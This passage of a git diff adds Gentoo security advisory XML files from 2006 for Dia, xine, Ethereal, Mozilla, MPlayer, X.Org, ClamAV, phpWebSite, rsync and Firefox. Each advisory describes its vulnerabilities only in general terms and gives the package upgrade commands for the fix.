+      <unaffected range="ge">0.94-r5</unaffected>
+      <vulnerable range="lt">0.94-r5</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Dia is a GTK+ based diagram creation program.
+    </p>
+  </background>
+  <description>
+    <p>
+    infamous41md discovered multiple buffer overflows in Dia's XFig
+    file import plugin.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    By enticing a user to import a specially crafted XFig file into
+    Dia, an attacker could exploit this issue to execute arbitrary code
+    with the rights of the user running Dia.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Dia users should upgrade to the latest available version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-office/dia-0.94-r5&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1550">CVE-2006-1550</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 22 Apr 2006 17:58:09 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 22 Apr 2006 17:58:17 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Sat, 22 Apr 2006 20:01:59 +0000">
+    DerCorny
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200604-15.xml b/xml/htdocs/security/en/glsa/glsa-200604-15.xml
new file mode 100644
index 00000000..a936aa35
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200604-15.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200604-15">
+  <title>xine-ui: Format string vulnerabilities</title>
+  <synopsis>
+    Format string vulnerabilities in xine-ui may lead to the execution of
+    arbitrary code.
+  </synopsis>
+  <product type="ebuild">xine-ui</product>
+  <announced>April 26, 2006</announced>
+  <revised>April 26, 2006: 01</revised>
+  <bug>130801</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-video/xine-ui" auto="yes" arch="*">
+      <unaffected range="ge">0.99.4-r5</unaffected>
+      <vulnerable range="lt">0.99.4-r5</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    xine-ui is a skin-based user interface for xine. xine is a free
+    multimedia player. It plays CDs, DVDs, and VCDs, and can also decode
+    other common multimedia formats.
+    </p>
+  </background>
+  <description>
+    <p>
+    Ludwig Nussel discovered that xine-ui incorrectly implements
+    formatted printing.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    By constructing a malicious playlist file, a remote attacker could
+    exploit these vulnerabilities to execute arbitrary code with the rights
+    of the user running the application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All xine-ui users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-video/xine-ui-0.99.4-r5&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1905">CVE-2006-1905</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 22 Apr 2006 18:05:30 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 23 Apr 2006 00:24:14 +0000">
+    adir
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 25 Apr 2006 05:57:00 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200604-16.xml b/xml/htdocs/security/en/glsa/glsa-200604-16.xml
new file mode 100644
index 00000000..3a539e48
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200604-16.xml
@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200604-16">
+  <title>xine-lib: Buffer overflow vulnerability</title>
+  <synopsis>
+    xine-lib contains a buffer overflow vulnerability which may lead to the
+    execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">xine-lib</product>
+  <announced>April 26, 2006</announced>
+  <revised>April 26, 2006: 01</revised>
+  <bug>128838</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-libs/xine-lib" auto="yes" arch="*">
+      <unaffected range="ge">1.1.2_pre20060328-r1</unaffected>
+      <vulnerable range="lt">1.1.2_pre20060328-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    xine-lib is the xine core engine. xine is a free multimedia
+    player. It plays CDs, DVDs, and VCDs, and can also decode other common
+    multimedia formats.
+    </p>
+  </background>
+  <description>
+    <p>
+    Federico L. Bossi Bonin discovered that when handling MPEG streams
+    xine-lib fails to make a proper boundary check of the input data
+    supplied by the user before copying it to an insufficiently sized
+    memory buffer.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to play a specially-crafted
+    MPEG file, resulting in the execution of arbitrary code with the
+    permissions of the user running the application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All xine-lib users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-libs/xine-lib-1.1.2_pre20060328-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1664">CVE-2006-1664</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 21 Apr 2006 20:35:23 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 23 Apr 2006 00:46:13 +0000">
+    adir
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 24 Apr 2006 16:31:50 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200604-17.xml b/xml/htdocs/security/en/glsa/glsa-200604-17.xml
new file mode 100644
index 00000000..9d2c7ea7
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200604-17.xml
@@ -0,0 +1,84 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200604-17">
+  <title>Ethereal: Multiple vulnerabilities in protocol dissectors</title>
+  <synopsis>
+    Ethereal is vulnerable to numerous vulnerabilities, potentially resulting
+    in the execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">Ethereal</product>
+  <announced>April 27, 2006</announced>
+  <revised>April 27, 2006: 01</revised>
+  <bug>130505</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-analyzer/ethereal" auto="yes" arch="*">
+      <unaffected range="ge">0.99.0</unaffected>
+      <vulnerable range="lt">0.99.0</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Ethereal is a feature-rich network protocol analyzer.
+    </p>
+  </background>
+  <description>
+    <p>
+    Coverity discovered numerous vulnerabilities in versions of
+    Ethereal prior to 0.99.0, including:
+    </p>
+    <ul>
+    <li>
+    buffer overflows in the ALCAP (CVE-2006-1934), COPS (CVE-2006-1935)
+    and telnet (CVE-2006-1936) dissectors.</li>
+    <li>buffer overflows
+    in the NetXray/Windows Sniffer and Network Instruments file code
+    (CVE-2006-1934).</li>
+    </ul>
+    <p>
+    For further details please consult the
+    references below.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    An attacker might be able to exploit these vulnerabilities to crash
+    Ethereal or execute arbitrary code with the permissions of the user
+    running Ethereal, which could be the root user.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Ethereal users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-analyzer/ethereal-0.99.0&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1932">CVE-2006-1932</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1933">CVE-2006-1933</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1934">CVE-2006-1934</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1935">CVE-2006-1935</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1936">CVE-2006-1936</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1937">CVE-2006-1937</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1938">CVE-2006-1938</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1939">CVE-2006-1939</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1940">CVE-2006-1940</uri>
+    <uri link="http://www.ethereal.com/appnotes/enpa-sa-00023.html">Ethereal enpa-sa-00023</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Tue, 25 Apr 2006 11:35:49 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 27 Apr 2006 05:10:07 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200604-18.xml b/xml/htdocs/security/en/glsa/glsa-200604-18.xml
new file mode 100644
index 00000000..b5bc444b
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200604-18.xml
@@ -0,0 +1,106 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200604-18">
+  <title>Mozilla Suite: Multiple vulnerabilities</title>
+  <synopsis>
+    Several vulnerabilities in Mozilla Suite allow attacks ranging from script
+    execution with elevated privileges to information leaks.
+  </synopsis>
+  <product type="ebuild">mozilla</product>
+  <announced>April 28, 2006</announced>
+  <revised>April 28, 2006: 01</revised>
+  <bug>130887</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-client/mozilla" auto="yes" arch="*">
+      <unaffected range="ge">1.7.13</unaffected>
+      <vulnerable range="lt">1.7.13</vulnerable>
+    </package>
+    <package name="www-client/mozilla-bin" auto="yes" arch="*">
+      <unaffected range="ge">1.7.13</unaffected>
+      <vulnerable range="lt">1.7.13</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The Mozilla Suite is a popular all-in-one web browser that
+    includes a mail and news reader.
+    </p>
+  </background>
+  <description>
+    <p>
+    Several vulnerabilities were found in Mozilla Suite. Version
+    1.7.13 was released to fix them.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could craft malicious web pages or emails that
+    would leverage these issues to inject and execute arbitrary script code
+    with elevated privileges, steal local files, cookies or other
+    information from web pages or emails, and spoof content. Some of these
+    vulnerabilities might even be exploited to execute arbitrary code with
+    the rights of the user running the client.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There are no known workarounds for all the issues at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Mozilla Suite users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-client/mozilla-1.7.13&quot;</code>
+    <p>
+    All Mozilla Suite binary users should upgrade to the latest
+    version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-client/mozilla-bin-1.7.13&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-4134">CVE-2005-4134</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0292">CVE-2006-0292</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0293">CVE-2006-0293</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0296">CVE-2006-0296</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0748">CVE-2006-0748</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0749">CVE-2006-0749</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0884">CVE-2006-0884</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1045">CVE-2006-1045</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1727">CVE-2006-1727</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1728">CVE-2006-1728</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1729">CVE-2006-1729</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1730">CVE-2006-1730</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1731">CVE-2006-1731</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1732">CVE-2006-1732</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1733">CVE-2006-1733</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1734">CVE-2006-1734</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1735">CVE-2006-1735</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1736">CVE-2006-1736</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1737">CVE-2006-1737</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1738">CVE-2006-1738</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1739">CVE-2006-1739</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1740">CVE-2006-1740</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1741">CVE-2006-1741</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1742">CVE-2006-1742</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1790">CVE-2006-1790</uri>
+    <uri link="http://www.mozilla.org/projects/security/known-vulnerabilities.html#Mozilla">Mozilla Foundation Security Advisories</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 24 Apr 2006 16:32:37 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 24 Apr 2006 22:51:13 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 26 Apr 2006 17:28:01 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200605-01.xml b/xml/htdocs/security/en/glsa/glsa-200605-01.xml
new file mode 100644
index 00000000..a12e053a
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200605-01.xml
@@ -0,0 +1,78 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200605-01">
+  <title>MPlayer: Heap-based buffer overflow</title>
+  <synopsis>
+    MPlayer contains multiple integer overflows that may lead to a heap-based
+    buffer overflow.
+  </synopsis>
+  <product type="ebuild">mplayer mplayer-bin</product>
+  <announced>May 01, 2006</announced>
+  <revised>June 21, 2006: 02</revised>
+  <bug>127969</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-video/mplayer" auto="yes" arch="*">
+      <unaffected range="ge">1.0.20060415</unaffected>
+      <unaffected range="ge">1.0_pre8</unaffected>
+      <vulnerable range="lt">1.0.20060415</vulnerable>
+    </package>
+    <package name="media-video/mplayer-bin" auto="yes" arch="*">
+      <unaffected range="ge">1.0.20060415</unaffected>
+      <unaffected range="ge">1.0_pre8</unaffected>
+      <vulnerable range="lt">1.0.20060415</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    MPlayer is a media player that supports many multimedia file types.
+    </p>
+  </background>
+  <description>
+    <p>
+    Xfocus Team discovered multiple integer overflows that may lead to a
+    heap-based buffer overflow.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could entice a user to play a specially crafted multimedia
+    file, potentially resulting in the execution of arbitrary code with the
+    privileges of the user running the application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All MPlayer users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-video/mplayer-1.0.20060415&quot;</code>
+    <p>
+    All MPlayer binary users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-video/mplayer-bin-1.0.20060415&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1502">CVE-2006-1502</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 09 Apr 2006 10:59:36 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 23 Apr 2006 01:03:22 +0000">
+    adir
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 30 Apr 2006 14:44:19 +0000">
+    DerCorny
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200605-02.xml b/xml/htdocs/security/en/glsa/glsa-200605-02.xml
new file mode 100644
index 00000000..6392eb79
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200605-02.xml
@@ -0,0 +1,62 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200605-02">
+  <title>X.Org: Buffer overflow in XRender extension</title>
+  <synopsis>
+    A buffer overflow in the XRender extension potentially allows any X.Org
+    user to execute arbitrary code with elevated privileges.
+  </synopsis>
+  <product type="ebuild">X.Org</product>
+  <announced>May 02, 2006</announced>
+  <revised>May 02, 2006: 01</revised>
+  <bug>130979</bug>
+  <access>local</access>
+  <affected>
+    <package name="x11-base/xorg-x11" auto="yes" arch="*">
+      <unaffected range="ge">6.8.2-r7</unaffected>
+      <vulnerable range="lt">6.8.2-r7</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    X.Org is X.Org Foundation's public implementation of the X Window
+    System.
+    </p>
+  </background>
+  <description>
+    <p>
+    X.Org miscalculates the size of a buffer in the XRender extension.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    An X.Org user could exploit this issue to make the X server
+    execute arbitrary code with elevated privileges.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All X.Org users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=x11-base/xorg-x11-6.8.2-r7&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1526">CVE-2006-1526</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Mon, 01 May 2006 14:14:06 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 02 May 2006 17:42:54 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200605-03.xml b/xml/htdocs/security/en/glsa/glsa-200605-03.xml
new file mode 100644
index 00000000..79cfdb80
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200605-03.xml
@@ -0,0 +1,64 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200605-03">
+  <title>ClamAV: Buffer overflow in Freshclam</title>
+  <synopsis>
+    Freshclam is vulnerable to a buffer overflow that could lead to execution
+    of arbitrary code.
+  </synopsis>
+  <product type="ebuild">clamav</product>
+  <announced>May 02, 2006</announced>
+  <revised>May 02, 2006: 01</revised>
+  <bug>131791</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-antivirus/clamav" auto="yes" arch="*">
+      <unaffected range="ge">0.88.2</unaffected>
+      <vulnerable range="lt">0.88.2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    ClamAV is a GPL virus scanner. Freshclam is a utility to download
+    virus signature updates.
+    </p>
+  </background>
+  <description>
+    <p>
+    Ulf Harnhammar and an anonymous German researcher discovered that
+    Freshclam fails to check the size of the header data returned by a
+    webserver.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    By enticing a user to connect to a malicious webserver an attacker
+    could cause the execution of arbitrary code.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All ClamAV users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-antivirus/clamav-0.88.2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1989">CVE-2006-1989</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Tue, 02 May 2006 04:03:38 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 02 May 2006 04:54:25 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200605-04.xml b/xml/htdocs/security/en/glsa/glsa-200605-04.xml
new file mode 100644
index 00000000..97a0b0b8
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200605-04.xml
@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200605-04">
+  <title>phpWebSite: Local file inclusion</title>
+  <synopsis>
+    Remote attackers can include local files which may lead to the execution of
+    arbitrary code.
+  </synopsis>
+  <product type="ebuild">phpwebsite</product>
+  <announced>May 02, 2006</announced>
+  <revised>May 02, 2006: 01</revised>
+  <bug>130295</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-apps/phpwebsite" auto="yes" arch="*">
+      <unaffected range="ge">0.10.2</unaffected>
+      <vulnerable range="lt">0.10.2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    phpWebSite provides a complete web site content management system.
+    </p>
+  </background>
+  <description>
+    <p>
+    rgod has reported that the "hub_dir" parameter in "index.php"
+    isn't properly verified. When "magic_quotes_gpc" is disabled, this can
+    be exploited to include arbitrary files from local ressources.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    If "magic_quotes_gpc" is disabled, which is not the default on
+    Gentoo Linux, a remote attacker could exploit this issue to include and
+    execute PHP scripts from local ressources with the rights of the user
+    running the web server, or to disclose sensitive information and
+    potentially compromise a vulnerable system.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All phpWebSite users should upgrade to the latest available
+    version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-apps/phpwebsite-0.10.2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1819">CVE-2006-1819</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 01 May 2006 10:33:24 +0000">
+    falco
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 01 May 2006 10:58:55 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 01 May 2006 11:02:34 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200605-05.xml b/xml/htdocs/security/en/glsa/glsa-200605-05.xml
new file mode 100644
index 00000000..da90b4f2
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200605-05.xml
@@ -0,0 +1,71 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200605-05">
+  <title>rsync: Potential integer overflow</title>
+  <synopsis>
+    An attacker having write access to an rsync module might be able to execute
+    arbitrary code on an rsync server.
+  </synopsis>
+  <product type="ebuild">rsync</product>
+  <announced>May 06, 2006</announced>
+  <revised>May 06, 2006: 01</revised>
+  <bug>131631</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-misc/rsync" auto="yes" arch="*">
+      <unaffected range="ge">2.6.8</unaffected>
+      <vulnerable range="lt">2.6.8</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    rsync is a server and client utility that provides fast
+    incremental file transfers. It is used to efficiently synchronize files
+    between hosts and is used by emerge to fetch Gentoo's Portage tree.
+    </p>
+  </background>
+  <description>
+    <p>
+    An integer overflow was found in the receive_xattr function from
+    the extended attributes patch (xattr.c) for rsync. The vulnerable
+    function is only present when the "acl" USE flag is set.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker with write access to an rsync module could craft
+    malicious extended attributes which would trigger the integer overflow,
+    potentially resulting in the execution of arbitrary code with the
+    rights of the rsync daemon.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Do not provide write access to an rsync module to untrusted
+    parties.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All rsync users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-misc/rsync-2.6.8&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2083">CVE-2006-2083</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 02 May 2006 15:25:29 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 02 May 2006 16:18:28 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 04 May 2006 20:00:28 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200605-06.xml b/xml/htdocs/security/en/glsa/glsa-200605-06.xml
new file mode 100644
index 00000000..0e6066b1
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200605-06.xml
@@ -0,0 +1,86 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200605-06">
+  <title>Mozilla Firefox: Potential remote code execution</title>
+  <synopsis>
+    The Mozilla Firefox 1.5 line is vulnerable to a buffer overflow in the
+    JavaScript extension which may in theory lead to remote execution of
+    arbitrary code.
+  </synopsis>
+  <product type="ebuild">mozilla-firefox</product>
+  <announced>May 06, 2006</announced>
+  <revised>May 06, 2006: 01</revised>
+  <bug>131138</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-client/mozilla-firefox" auto="yes" arch="*">
+      <unaffected range="ge">1.5.0.3</unaffected>
+      <unaffected range="lt">1.5</unaffected>
+      <vulnerable range="lt">1.5.0.3</vulnerable>
+    </package>
+    <package name="www-client/mozilla-firefox-bin" auto="yes" arch="*">
+      <unaffected range="ge">1.5.0.3</unaffected>
+      <unaffected range="lt">1.5</unaffected>
+      <vulnerable range="lt">1.5.0.3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Mozilla Firefox is the next-generation web browser from the
+    Mozilla project.
+    </p>
+  </background>
+  <description>
+    <p>
+    Martijn Wargers and Nick Mott discovered a vulnerability when
+    rendering malformed JavaScript content. The Mozilla Firefox 1.0 line is
+    not affected.
+    </p>
